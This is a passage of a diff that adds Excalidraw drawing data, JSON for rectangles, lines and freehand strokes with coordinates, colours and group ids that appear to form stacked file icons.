1414, + "versionNonce": 1706092768, + "index": "c14rC", + "isDeleted": false, + "id": "r2n_iI5FiItoCXHpwaMxR", + "fillStyle": "solid", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 2742.9581505616516, + "y": -1505.8993126757123, + "strokeColor": "transparent", + "backgroundColor": "#868e9644", + "width": 26.40787840860291, + "height": 5.545654465806139, + "seed": 1409979832, + "groupIds": [ + "jCrQquSbTeUIXHwhwEQxq", + "8p0mmUKujXe3r6t5bW6HD", + "H_fh-Yaod7ICfIenzMUul", + "-LJVHF26U05mUxeNjY2H6", + "OaQTr3GmlF1fpwGlqMbVO" + ], + "frameId": null, + "roundness": null, + "boundElements": [ + { + "id": "c8gOLhcsaDJ1YMKGXMby0", + "type": "arrow" + } + ], + "updated": 1720441453352, + "link": null, + "locked": false + }, + { + "type": "freedraw", + "version": 1494, + "versionNonce": 225718496, + "index": "c14rD", + "isDeleted": false, + "id": "oqI_7ILtwCu6kdd-Wo1jn", + "fillStyle": "solid", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 2742.6604098117928, + "y": -1558.36176475309, + "strokeColor": "#364fc711", + "backgroundColor": "transparent", + "width": 45.84052202184127, + "height": 64.69568013648461, + "seed": 1386159800, + "groupIds": [ + "jCrQquSbTeUIXHwhwEQxq", + "8p0mmUKujXe3r6t5bW6HD", + "H_fh-Yaod7ICfIenzMUul", + "-LJVHF26U05mUxeNjY2H6", + "OaQTr3GmlF1fpwGlqMbVO" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453352, + "link": null, + "locked": false, + "points": [ + [ + 0, + 0 + ], + [ + 0, + -0.1729831019690788 + ], + [ + 0.17298310196907882, + -0.3459662039388127 + ], + [ + 1.3838648157539413, + -0.5189493059078916 + ], + [ + 5.535459263014454, + -0.5189493059078916 + ], + [ + 9.34108750633812, + -0.5189493059078916 + ], + [ + 13.319698851629552, + -1.037898611815128 + ], + [ + 17.644276400859145, + -1.7298310196920987 + ], + [ + 21.79587084812097, + -2.24878032559999 + ], + [ + 25.082549785536088, + -2.24878032559999 + ], + [ + 26.985363907197264, + -2.4217634275690694 + ], + [ + 28.36922872295121, + -2.594746529538148 + ], + [ + 28.542211824920283, + -2.594746529538148 + ], + [ + 28.023262519011737, + -2.4217634275690694 + ], + [ + 26.293431499319638, + -1.3838648157539408 + ], + [ + 23.52570186781307, + -0.3459662039388127 + ], + [ + 19.028141216613083, + 0.8649155098460494 + ], + [ + 14.011631259505869, + 1.7298310196920987 + ], + [ + 7.265290282706554, + 2.9407127334763055 + ], + [ + 1.0378986118157834, + 3.632645141353276 + ], + [ + -4.84352685513814, + 4.497560651199326 + ], + [ + -9.341087506336807, + 5.189493059076296 + ], + [ + -10.206003016183512, + 5.3624761610453735 + ], + [ + -10.378986118152593, + 5.708442364983532 + ], + [ + -10.551969220121672, + 5.708442364983532 + ], + [ + -10.378986118152593, + 6.054408568922345 + ], + [ + -8.995121302398651, + 6.227391670891424 + ], + [ + -4.151594447260513, + 6.573357874829582 + ], + [ + -1.55684791772302, + 7.092307180737473 + ], + [ + 5.016509957107217, + 7.092307180737473 + ], + [ + 13.146715749660475, + 7.265290282706552 + ], + [ + 21.276921542213728, + 7.265290282706552 + ], + [ + 28.715194926889364, + 7.265290282706552 + ], + [ + 30.27204284461238, + 7.265290282706552 + ], + [ + 32.693806272180794, + 7.265290282706552 + ], + [ + 34.077671087934746, + 7.265290282706552 + ], + [ + 35.11556969975052, + 7.265290282706552 + ], + [ + 35.2885528017196, + 7.611256486645364 + ], + [ + 35.2885528017196, + 7.957222690583523 + ], + [ + 35.2885528017196, + 8.822138200429572 + ], + [ + 35.2885528017196, + 9.341087506337463 + ], + [ + 35.2885528017196, + 9.68705371027562 + ], + [ + 34.25065418990381, + 10.897935424059828 + ], + [ + 31.828890762335398, + 11.24390162799864 + ], + [ + 25.601499091443323, + 12.627766443751925 + ], + [ + 23.35271876584398, + 12.80074954572166 + ], + [ + 16.087428483137437, + 13.83864815753679 + ], + [ + 11.589867831937454, + 14.876546769351915 + ], + [ + 8.476171996491415, + 15.741462279197966 + ], + [ + 6.22739167089208, + 16.606377789044014 + ], + [ + 4.84352685513814, + 16.952343992982172 + ], + [ + 3.632645141353277, + 17.298310196920983 + ], + [ + 2.594746529538803, + 17.644276400859145 + ], + [ + 1.729831019692099, + 17.990242604797956 + ], + [ + 1.3838648157539413, + 18.163225706767037 + ], + [ + 0.8649155098467044, + 18.163225706767037 + ], + [ + 0.5189493059072365, + 18.163225706767037 + ], + [ + 0, + 18.50919191070519 + ], + [ + -1.037898611814473, + 18.682175012674268 + ], + [ + -1.55684791772302, + 18.682175012674268 + ], + [ + -1.9028141216611774, + 18.855158114644006 + ], + [ + -2.0757972236302566, + 18.855158114644006 + ], + [ + -2.767729631506572, + 19.201124318582163 + ], + [ + -3.9786113452914345, + 19.201124318582163 + ], + [ + -5.189493059076296, + 19.37410742055124 + ], + [ + -5.535459263014454, + 19.720073624490055 + ], + [ + -5.708442364983533, + 19.89305672645913 + ], + [ + -5.535459263014454, + 20.23902293039729 + ], + [ + -3.459662039384198, + 20.757972236305186 + ], + [ + 0, + 21.622887746151232 + ], + [ + 4.151594447261823, + 22.3148201540282 + ], + [ + 8.649155098460493, + 23.00675256190452 + ], + [ + 13.146715749660475, + 23.52570186781241 + ], + [ + 20.412006032367024, + 24.56360047962754 + ], + [ + 23.006752561905827, + 24.90956668356635 + ], + [ + 26.12044839735056, + 25.082549785535427 + ], + [ + 27.677296315073583, + 25.255532887504508 + ], + [ + 28.023262519011737, + 25.255532887504508 + ], + [ + 26.985363907197264, + 25.255532887504508 + ], + [ + 23.52570186781307, + 25.601499091442665 + ], + [ + 19.72007362449071, + 26.120448397350557 + ], + [ + 16.087428483137437, + 27.5043132131045 + ], + [ + 12.627766443753238, + 29.234144232796595 + ], + [ + 8.822138200429572, + 32.1748569662729 + ], + [ + 5.881425466953922, + 34.42363729187289 + ], + [ + 3.9786113452914345, + 35.80750210762618 + ], + [ + 1.9028141216611774, + 37.19136692338012 + ], + [ + 0.6919324078776257, + 38.229265535195246 + ], + [ + 0, + 38.92119794307222 + ], + [ + -0.5189493059072365, + 39.44014724897945 + ], + [ + 0, + 39.44014724897945 + ], + [ + 1.0378986118157834, + 39.44014724897945 + ], + [ + 4.67054375316906, + 38.748214841103135 + ], + [ + 8.822138200429572, + 38.5752317391334 + ], + [ + 14.357597463445337, + 37.71031622928736 + ], + [ + 18.682175012674925, + 37.01838382141104 + ], + [ + 21.62288774615189, + 36.67241761747222 + ], + [ + 24.217634275689385, + 36.153468311564986 + ], + [ + 24.39061737765846, + 35.80750210762618 + ], + [ + 24.73658358159793, + 35.461535903688016 + ], + [ + 24.90956668356701, + 35.461535903688016 + ], + [ + 25.082549785536088, + 35.28855280171894 + ], + [ + 25.428515989474246, + 35.28855280171894 + ], + [ + 25.601499091443323, + 35.11556969974921 + ], + [ + 25.774482193412403, + 35.11556969974921 + ], + [ + 25.255532887505165, + 35.80750210762618 + ], + [ + 21.276921542213728, + 36.32645141353407 + ], + [ + 16.779360891013752, + 37.3643500253492 + ], + [ + 11.935834035875612, + 38.748214841103135 + ], + [ + 4.151594447261823, + 41.16997826867156 + ], + [ + 0, + 43.41875859427154 + ], + [ + -3.459662039384198, + 45.32157271593272 + ], + [ + -5.881425466952611, + 47.397369939563625 + ], + [ + -7.78423958861379, + 48.43526855137876 + ], + [ + -8.995121302398651, + 49.300184061224805 + ], + [ + -9.687053710274967, + 49.81913336713204 + ], + [ + -10.033019914214433, + 50.165099571070854 + ], + [ + -10.033019914214433, + 50.33808267303994 + ], + [ + -8.476171996491415, + 50.165099571070854 + ], + [ + -6.919324078768396, + 49.992116469101774 + ], + [ + -4.84352685513814, + 49.992116469101774 + ], + [ + -2.0757972236302566, + 49.992116469101774 + ], + [ + 2.0757972236302566, + 49.81913336713204 + ], + [ + 3.459662039384198, + 49.81913336713204 + ], + [ + 6.054408568923001, + 49.81913336713204 + ], + [ + 9.68705371027628, + 49.81913336713204 + ], + [ + 15.049529871321653, + 49.81913336713204 + ], + [ + 16.95234399298283, + 49.81913336713204 + ], + [ + 20.412006032367024, + 49.81913336713204 + ], + [ + 24.0446511737203, + 49.81913336713204 + ], + [ + 25.428515989474246, + 49.81913336713204 + ], + [ + 25.774482193412403, + 49.81913336713204 + ], + [ + 25.428515989474246, + 49.81913336713204 + ], + [ + 21.276921542213728, + 49.992116469101774 + ], + [ + 15.741462279197968, + 50.511065775009016 + ], + [ + 11.070918526030216, + 51.54896438682413 + ], + [ + 7.092307180737474, + 52.58686299863992 + ], + [ + 3.459662039384198, + 53.97072781439321 + ], + [ + 0.5189493059072365, + 55.181609528178065 + ], + [ + -1.9028141216611774, + 56.392491241962276 + ], + [ + -4.67054375316775, + 57.776356057716214 + ], + [ + -5.535459263014454, + 58.295305363623456 + ], + [ + -6.054408568921691, + 58.64127156756228 + ], + [ + -6.227391670890769, + 58.814254669531344 + ], + [ + -6.400374772859848, + 58.814254669531344 + ], + [ + -6.573357874830237, + 58.987237771500425 + ], + [ + -6.054408568921691, + 58.987237771500425 + ], + [ + -4.324577549229591, + 58.987237771500425 + ], + [ + -1.55684791772302, + 58.987237771500425 + ], + [ + 3.8056282433223547, + 59.50618707740833 + ], + [ + 8.995121302398651, + 60.37110258725436 + ], + [ + 10.206003016183512, + 60.37110258725436 + ], + [ + 12.28180023981377, + 60.890051893161605 + ], + [ + 12.9737326476914, + 61.40900119906949 + ], + [ + 13.146715749660475, + 61.40900119906949 + ], + [ + 13.66566505556771, + 61.40900119906949 + ], + [ + 14.703563667383497, + 61.40900119906949 + ], + [ + 16.087428483137437, + 61.40900119906949 + ], + [ + 19.374107420551244, + 61.40900119906949 + ], + [ + 20.584989134336105, + 61.40900119906949 + ], + [ + 23.006752561905827, + 61.40900119906949 + ], + [ + 26.466414601290026, + 61.75496740300766 + ], + [ + 28.19624562098213, + 61.92795050497674 + ], + [ + 29.06116113082752, + 62.10093360694646 + ], + [ + 29.234144232796606, + 62.10093360694646 + ], + [ + 29.40712733476568, + 62.10093360694646 + ], + [ + 29.753093538703833, + 62.10093360694646 + ], + [ + 29.753093538703833, + 61.75496740300766 + ], + [ + 29.92607664067423, + 61.40900119906949 + ], + [ + 29.92607664067423, + 60.890051893161605 + ], + [ + 30.27204284461238, + 59.16022087346949 + ], + [ + 30.27204284461238, + 57.94933915968531 + ], + [ + 30.27204284461238, + 56.565474343931356 + ], + [ + 30.27204284461238, + 55.00862642620834 + ], + [ + 30.27204284461238, + 53.45177850848597 + ], + [ + 30.27204284461238, + 51.54896438682413 + ], + [ + 30.27204284461238, + 47.74333614350178 + ], + [ + 30.27204284461238, + 46.878420633655736 + ], + [ + 30.099059742643306, + 44.97560651199456 + ], + [ + 29.753093538703833, + 42.89980928836365 + ], + [ + 29.753093538703833, + 40.651028962764315 + ], + [ + 29.753093538703833, + 39.959096554887346 + ], + [ + 29.753093538703833, + 38.92119794307222 + ], + [ + 29.753093538703833, + 38.40224863716433 + ], + [ + 29.753093538703833, + 38.229265535195246 + ], + [ + 29.753093538703833, + 38.056282433226166 + ], + [ + 29.753093538703833, + 37.88329933125709 + ], + [ + 29.753093538703833, + 37.71031622928736 + ], + [ + 29.753093538703833, + 37.53733312731828 + ], + [ + 29.92607664067423, + 37.01838382141104 + ], + [ + 30.099059742643306, + 36.8454007194413 + ], + [ + 30.27204284461238, + 35.98048520959526 + ], + [ + 30.27204284461238, + 35.80750210762618 + ], + [ + 30.27204284461238, + 35.28855280171894 + ], + [ + 30.618009048550547, + 34.94258659778012 + ], + [ + 30.618009048550547, + 34.42363729187289 + ], + [ + 30.618009048550547, + 34.250654189903166 + ], + [ + 30.618009048550547, + 33.731704883995924 + ], + [ + 30.44502594658146, + 33.21275557808803 + ], + [ + 29.234144232796606, + 31.828890762334748 + ], + [ + 28.715194926889364, + 31.65590766036501 + ], + [ + 25.601499091443323, + 30.272042844611725 + ], + [ + 19.547090522521632, + 29.580110436734746 + ], + [ + 14.703563667383497, + 29.580110436734746 + ], + [ + 10.033019914214433, + 29.580110436734746 + ], + [ + 6.054408568923001, + 29.580110436734746 + ], + [ + 3.11369583544604, + 29.580110436734746 + ], + [ + 0.5189493059072365, + 29.580110436734746 + ], + [ + -1.729831019692099, + 29.580110436734746 + ], + [ + -3.9786113452914345, + 29.580110436734746 + ], + [ + -4.84352685513814, + 29.580110436734746 + ], + [ + -5.881425466952611, + 29.580110436734746 + ], + [ + -6.746340976799316, + 29.580110436734746 + ], + [ + -7.265290282706554, + 29.580110436734746 + ], + [ + -7.438273384675631, + 29.75309353870383 + ], + [ + -7.265290282706554, + 30.963975252488694 + ], + [ + -6.919324078768396, + 32.866789374149874 + ], + [ + -6.400374772859848, + 34.59662039384197 + ], + [ + -6.227391670890769, + 35.98048520959526 + ], + [ + -6.054408568921691, + 36.32645141353407 + ], + [ + -6.054408568921691, + 35.98048520959526 + ], + [ + -6.054408568921691, + 35.98048520959526 + ] + ], + "lastCommittedPoint": null, + "simulatePressure": true, + "pressures": [] + }, + { + "type": "line", + "version": 1600, + "versionNonce": 897258720, + "index": "c14rE", + "isDeleted": false, + "id": "9kYU_wGQ6u4ymdAdYwJeb", + "fillStyle": "solid", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 2781.9370667918133, + "y": -1428.202712237694, + "strokeColor": "#343a40", + "backgroundColor": "#ced4da", + "width": 68.71257153179448, + "height": 60.201930953927956, + "seed": 2142930872, + "groupIds": [ + "8p0mmUKujXe3r6t5bW6HD", + "H_fh-Yaod7ICfIenzMUul", + "-LJVHF26U05mUxeNjY2H6", + "OaQTr3GmlF1fpwGlqMbVO" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453352, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + 1.7454321736900085, + 21.740920053401442 + ], + [ + 26.514563663031257, + 32.779032478190786 + ], + [ + 27.899012478054726, + 59.765660658487725 + ], + [ + 39.767456175352514, + 59.231466004238264 + ], + [ + 42.273645797464944, + 33.041740486123636 + ], + [ + 68.71257153179448, + 20.2865687379583 + ], + [ + 68.71257153179448, + -0.4362702954402311 + ], + [ + 0, + 0 + ] + ] + }, + { + "type": "freedraw", + "version": 1138, + "versionNonce": 50690272, + "index": "c14rF", + "isDeleted": false, + "id": "mtzVq6UOB35ZUeE-biO1T", + "fillStyle": "solid", + "strokeWidth": 2, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 2814.0071999033257, + "y": -1350.599775331204, + "strokeColor": "#343a4011", + "backgroundColor": "#ced4da", + "width": 24.23023640388396, + "height": 40.41262315174316, + "seed": 662753464, + "groupIds": [ + "8p0mmUKujXe3r6t5bW6HD", + "H_fh-Yaod7ICfIenzMUul", + "-LJVHF26U05mUxeNjY2H6", + "OaQTr3GmlF1fpwGlqMbVO" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453352, + "link": null, + "locked": false, + "points": [ + [ + 0, + -29.39353410706135 + ], + [ + 0, + -29.727522728150422 + ], + [ + 0, + -30.39549997032762 + ], + [ + 0, + -31.73145445468297 + ], + [ + 0, + -33.06740893903834 + ], + [ + 0, + -34.40336342339371 + ], + [ + 0, + -35.405329286659985 + ], + [ + 0, + -36.40729514992627 + ], + [ + 0, + -37.40926101319255 + ], + [ + 0, + -38.74521549754791 + ], + [ + 0, + -39.413192739725105 + ], + [ + 0, + -40.74914722408046 + ], + [ + 0, + -41.083135845169544 + ], + [ + 0, + -41.75111308734675 + ], + [ + 0.5769103905674791, + -42.75307895061302 + ], + [ + 0.5769103905674791, + -43.755044813879316 + ], + [ + 1.1538207811382808, + -44.75701067714559 + ], + [ + 1.7307311717057596, + -45.424987919323755 + ], + [ + 1.7307311717057596, + -45.758976540411865 + ], + [ + 2.3076415622732385, + -46.09296516150095 + ], + [ + 2.3076415622732385, + -46.76094240367814 + ], + [ + 2.8845519528440398, + -47.09493102476723 + ], + [ + 2.8845519528440398, + -47.4289196458563 + ], + [ + 4.038372733978998, + -48.09689688803351 + ], + [ + 4.038372733978998, + -48.43088550912258 + ], + [ + 4.6152831245498, + -48.76487413021167 + ], + [ + 5.769103905684759, + -48.76487413021167 + ], + [ + 7.49983507739384, + -49.43285137238886 + ], + [ + 10.384387030234558, + -49.76683999347795 + ], + [ + 12.115118201940318, + -50.434817235655146 + ], + [ + 14.42275976421688, + -50.76880585674422 + ], + [ + 15.576580545351835, + -51.10279447783234 + ], + [ + 16.153490935922637, + -51.43678309892143 + ], + [ + 16.730401326490117, + -51.770771720010515 + ], + [ + 17.307311717057594, + -51.770771720010515 + ], + [ + 17.307311717057594, + -52.10476034109959 + ], + [ + 17.307311717057594, + -52.43874896218771 + ], + [ + 17.307311717057594, + -53.10672620436587 + ], + [ + 17.307311717057594, + -54.10869206763215 + ], + [ + 17.307311717057594, + -55.11065793089843 + ], + [ + 17.884222107628396, + -56.446612415253796 + ], + [ + 18.461132498195877, + -57.782566899608184 + ], + [ + 20.191863669901633, + -59.11852138396353 + ], + [ + 20.191863669901633, + -60.120487247229825 + ], + [ + 21.345684451039915, + -61.45644173158519 + ], + [ + 21.922594841607392, + -62.124418973762396 + ], + [ + 21.922594841607392, + -62.79239621594055 + ], + [ + 21.922594841607392, + -63.79436207920683 + ], + [ + 21.922594841607392, + -64.46233932138404 + ], + [ + 21.922594841607392, + -64.79632794247313 + ], + [ + 21.922594841607392, + -65.46430518465031 + ], + [ + 21.922594841607392, + -66.46627104791658 + ], + [ + 21.922594841607392, + -66.80025966900567 + ], + [ + 21.922594841607392, + -67.80222553227195 + ], + [ + 22.499505232174872, + -68.47020277445013 + ], + [ + 23.65332601331315, + -69.13818001662732 + ], + [ + 23.65332601331315, + -69.47216863771641 + ], + [ + 24.23023640388396, + -69.47216863771641 + ], + [ + 24.23023640388396, + -69.80615725880452 + ], + [ + 24.23023640388396, + -69.80615725880452 + ] + ], + "lastCommittedPoint": null, + "simulatePressure": true, + "pressures": [] + }, + { + "type": "line", + "version": 1413, + "versionNonce": 2040749280, + "index": "c14rG", + "isDeleted": false, + "id": "ySrulERFDk8fglKVzFrSo", + "fillStyle": "solid", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 2851.202853609828, + "y": -1549.920785363076, + "strokeColor": "#000000", + "backgroundColor": "#fff", + "width": 51.75944168086124, + "height": 72.35758683957152, + "seed": 1905654200, + "groupIds": [ + "VRXZ20sPZldalpCm6SaL7", + "8p0mmUKujXe3r6t5bW6HD", + "H_fh-Yaod7ICfIenzMUul", + "-LJVHF26U05mUxeNjY2H6", + "OaQTr3GmlF1fpwGlqMbVO" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453352, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + -0.2640787840858196, + 56.51285979440991 + ], + [ + 50.70312654451664, + 56.248781010323434 + ], + [ + 51.49536289677542, + -15.58064826107514 + ], + [ + 14.524333124731863, + -15.84472704516161 + ], + [ + 0, + 0 + ] + ] + }, + { + "type": "line", + "version": 1599, + "versionNonce": 719634656, + "index": "c14rH", + "isDeleted": false, + "id": "tb61C0iyG0iGheZvFg28o", + "fillStyle": "solid", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 2848.7302551726752, + "y": -1548.0866938791378, + "strokeColor": "#000000", + "backgroundColor": "#fff", + "width": 51.75944168086124, + "height": 72.35758683957152, + "seed": 1897792184, + "groupIds": [ + "VRXZ20sPZldalpCm6SaL7", + "8p0mmUKujXe3r6t5bW6HD", + "H_fh-Yaod7ICfIenzMUul", + "-LJVHF26U05mUxeNjY2H6", + "OaQTr3GmlF1fpwGlqMbVO" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453352, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + -0.2640787840858196, + 56.51285979440991 + ], + [ + 50.70312654451664, + 56.248781010323434 + ], + [ + 51.49536289677542, + -15.58064826107514 + ], + [ + 14.524333124731863, + -15.84472704516161 + ], + [ + 0, + 0 + ] + ] + }, + { + "type": "line", + "version": 1336, + "versionNonce": 1985586400, + "index": "c14rI", + "isDeleted": false, + "id": "1-KOerzeU3az-U0lk2_YP", + "fillStyle": "solid", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 2846.2865767448484, + "y": -1546.2526023952005, + "strokeColor": "#000000", + "backgroundColor": "#fff", + "width": 51.75944168086124, + "height": 72.35758683957152, + "seed": 884796344, + "groupIds": [ + "VRXZ20sPZldalpCm6SaL7", + "8p0mmUKujXe3r6t5bW6HD", + "H_fh-Yaod7ICfIenzMUul", + "-LJVHF26U05mUxeNjY2H6", + "OaQTr3GmlF1fpwGlqMbVO" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453352, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + -0.2640787840858196, + 56.51285979440991 + ], + [ + 50.70312654451664, + 56.248781010323434 + ], + [ + 51.49536289677542, + -15.58064826107514 + ], + [ + 14.524333124731863, + -15.84472704516161 + ], + [ + 0, + 0 + ] + ] + }, + { + "type": "line", + "version": 1233, + "versionNonce": 1234307296, + "index": "c14rJ", + "isDeleted": false, + "id": "3tVj0PTAYs2IneQkPGjkY", + "fillStyle": "solid", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 2861.603146221838, + "y": -1560.2487779517596, + "strokeColor": "#000000", + "backgroundColor": "#ced4da", + "width": 13.468017988387276, + "height": 13.732096772473094, + "seed": 1452717240, + "groupIds": [ + "VRXZ20sPZldalpCm6SaL7", + "8p0mmUKujXe3r6t5bW6HD", + "H_fh-Yaod7ICfIenzMUul", + "-LJVHF26U05mUxeNjY2H6", + "OaQTr3GmlF1fpwGlqMbVO" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453352, + "link": null, + "locked": false, + "startBinding": null, + "endBinding": null, + "lastCommittedPoint": null, + "startArrowhead": null, + "endArrowhead": null, + "points": [ + [ + 0, + 0 + ], + [ + -0.5281575681716392, + 13.732096772473094 + ], + [ + -13.468017988387276, + 13.732096772473094 + ] + ] + }, + { + "type": "rectangle", + "version": 1228, + "versionNonce": 1612573920, + "index": "c14rK", + "isDeleted": false, + "id": "5RVrG0PAiETGk9l_O_sCl", + "fillStyle": "solid", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 2860.8109098695827, + "y": -1542.5554994179965, + "strokeColor": "transparent", + "backgroundColor": "#868e9644", + "width": 26.40787840860291, + "height": 5.545654465806139, + "seed": 206527928, + "groupIds": [ + "VRXZ20sPZldalpCm6SaL7", + "8p0mmUKujXe3r6t5bW6HD", + "H_fh-Yaod7ICfIenzMUul", + "-LJVHF26U05mUxeNjY2H6", + "OaQTr3GmlF1fpwGlqMbVO" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453352, + "link": null, + "locked": false + }, + { + "type": "rectangle", + "version": 1249, + "versionNonce": 59592928, + "index": "c14rL", + "isDeleted": false, + "id": "v3DllgSXKKaGIPJ_NsVif", + "fillStyle": "solid", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 2860.9501792639594, + "y": -1531.5532172623189, + "strokeColor": "transparent", + "backgroundColor": "#868e9644", + "width": 26.40787840860291, + "height": 5.545654465806139, + "seed": 923461304, + "groupIds": [ + "VRXZ20sPZldalpCm6SaL7", + "8p0mmUKujXe3r6t5bW6HD", + "H_fh-Yaod7ICfIenzMUul", + "-LJVHF26U05mUxeNjY2H6", + "OaQTr3GmlF1fpwGlqMbVO" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453352, + "link": null, + "locked": false + }, + { + "type": "rectangle", + "version": 1281, + "versionNonce": 1265644768, + "index": "c14rM", + "isDeleted": false, + "id": "mtW5P_cO-fLKIumuJrGRM", + "fillStyle": "solid", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 2860.8109098695827, + "y": -1522.4117681845792, + "strokeColor": "transparent", + "backgroundColor": "#868e9644", + "width": 26.40787840860291, + "height": 5.545654465806139, + "seed": 1936543672, + "groupIds": [ + "VRXZ20sPZldalpCm6SaL7", + "8p0mmUKujXe3r6t5bW6HD", + "H_fh-Yaod7ICfIenzMUul", + "-LJVHF26U05mUxeNjY2H6", + "OaQTr3GmlF1fpwGlqMbVO" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453352, + "link": null, + "locked": false + }, + { + "type": "rectangle", + "version": 1308, + "versionNonce": 1565956320, + "index": "c14rN", + "isDeleted": false, + "id": "WfprArZbiywtG0xb-Byh-", + "fillStyle": "solid", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 2860.8109098695827, + "y": -1513.8054228164756, + "strokeColor": "transparent", + "backgroundColor": "#868e9644", + "width": 26.40787840860291, + "height": 5.545654465806139, + "seed": 697997496, + "groupIds": [ + "VRXZ20sPZldalpCm6SaL7", + "8p0mmUKujXe3r6t5bW6HD", + "H_fh-Yaod7ICfIenzMUul", + "-LJVHF26U05mUxeNjY2H6", + "OaQTr3GmlF1fpwGlqMbVO" + ], + "frameId": null, + "roundness": null, + "boundElements": [ + { + "id": "7n1qVY1g74uPLQarF3-tI", + "type": "arrow" + } + ], + "updated": 1720441453352, + "link": null, + "locked": false + }, + { + "type": "rectangle", + "version": 1326, + "versionNonce": 751860960, + "index": "c14rO", + "isDeleted": false, + "id": "jAgoJ0FxEc9AeyGu0WYUl", + "fillStyle": "solid", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 2860.8109098695827, + "y": -1504.9459496434238, + "strokeColor": "transparent", + "backgroundColor": "#868e9644", + "width": 26.40787840860291, + "height": 5.545654465806139, + "seed": 490127800, + "groupIds": [ + "VRXZ20sPZldalpCm6SaL7", + "8p0mmUKujXe3r6t5bW6HD", + "H_fh-Yaod7ICfIenzMUul", + "-LJVHF26U05mUxeNjY2H6", + "OaQTr3GmlF1fpwGlqMbVO" + ], + "frameId": null, + "roundness": null, + "boundElements": [ + { + "id": "7n1qVY1g74uPLQarF3-tI", + "type": "arrow" + } + ], + "updated": 1720441453352, + "link": null, + "locked": false + }, + { + "type": "freedraw", + "version": 1515, + "versionNonce": 1488897248, + "index": "c14rP", + "isDeleted": false, + "id": "-X1QswfVqfZsuYZVtl5fb", + "fillStyle": "solid", + "strokeWidth": 1, + "strokeStyle": "solid", + "roughness": 1, + "opacity": 100, + "angle": 0, + "x": 2861.7381218893356, + "y": -1557.3484141053127, + "strokeColor": "#5c940d11", + "backgroundColor": "transparent", + "width": 45.84052202184127, + "height": 64.69568013648461, + "seed": 2103823032, + "groupIds": [ + "Z6DvBw_VeNdMf_Snj_bFS", + "VRXZ20sPZldalpCm6SaL7", + "8p0mmUKujXe3r6t5bW6HD", + "H_fh-Yaod7ICfIenzMUul", + "-LJVHF26U05mUxeNjY2H6", + "OaQTr3GmlF1fpwGlqMbVO" + ], + "frameId": null, + "roundness": null, + "boundElements": [], + "updated": 1720441453352, + "link": null, + "locked": false, + "points": [ + [ + 0, + 0 + ], + [ + 0, + -0.1729831019690788 + ], + [ + 0.17298310196907882, + -0.3459662039388127 + ], + [ + 1.3838648157539413, + -0.5189493059078916 + ], + [ + 5.535459263014454, + -0.5189493059078916 + ], + [ + 9.34108750633812, + -0.5189493059078916 + ], + [ + 13.319698851629552, + -1.037898611815128 + ], + [ + 17.644276400859145, + -1.7298310196920987 + ], + [ + 21.79587084812097, + -2.24878032559999 + ], + [ + 25.082549785536088, + -2.24878032559999 + ], + [ + 26.985363907197264, + -2.4217634275690694 + ], + [ + 28.36922872295121, + -2.594746529538148 + ], + [ + 28.542211824920283, + -2.594746529538148 + ], + [ + 28.023262519011737, + -2.4217634275690694 + ], + [ + 26.293431499319638, + -1.3838648157539408 + ], + [ + 23.52570186781307, + -0.3459662039388127 + ], + [ + 19.028141216613083, + 0.8649155098460494 + ], + [ + 14.011631259505869, + 1.7298310196920987 + ], + [ + 7.265290282706554, + 2.9407127334763055 + ], + [ + 1.0378986118157834, + 3.632645141353276 + ], + [ + -4.84352685513814, + 4.497560651199326 + ], + [ + -9.341087506336807, + 5.189493059076296 + ], + [ + -10.206003016183512, + 5.3624761610453735 + ], + [ + -10.378986118152593, + 5.708442364983532 + ], + [ + -10.551969220121672, + 5.708442364983532 + ], + [ + -10.378986118152593, + 6.054408568922345 + ], + [ + -8.995121302398651, + 6.227391670891424 + ], + [ + -4.151594447260513, + 6.573357874829582 + ], + [ + -1.55684791772302, + 7.092307180737473 + ], + [ + 5.016509957107217, + 7.092307180737473 + ], + [ + 13.146715749660475, + 7.265290282706552 + ], + [ + 